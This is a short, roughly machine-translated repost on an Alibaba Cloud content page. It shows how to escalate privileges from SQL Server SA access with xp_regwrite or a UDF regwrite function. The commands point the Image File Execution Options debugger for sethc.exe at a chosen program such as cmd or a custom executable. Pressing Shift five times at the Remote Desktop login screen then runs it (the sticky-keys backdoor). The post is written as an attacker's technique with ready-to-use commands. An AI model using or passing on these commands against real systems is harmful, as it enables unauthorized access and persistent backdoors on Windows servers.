SA claim image hijacking claim statement

Source: Internet
Author: User

Shadow

Sometimes commands cannot be executed under the SA permission. Write the Registry to escalate permissions.

: Exec master. dbo. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe, debugger, REG_SZ, c: \ windows \ assumer.exe
: Exec master. dbo. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe, debugger, REG_SZ, c: \ windows \ system32 \ taskmgr.exe
 

Write the registry function.
Select regwrite ("HKEY_LOCAL_MACHINE", "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe", "Debugger", "REG_SZ", "E: \ web \ 170stock \ admin \ include \ assumer.exe ");


Add the regwrite function through udf Elevation of Privilege
After changing the registration table, change the path of sethc.exe to the program we want to run (such as cmd)
Connect to 3389 and press shift five times to execute our program. It's good, that is, the sethc backdoor principle.

However, the management group does not allow users added to the localgroup administrators to enter 3389.

 


 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.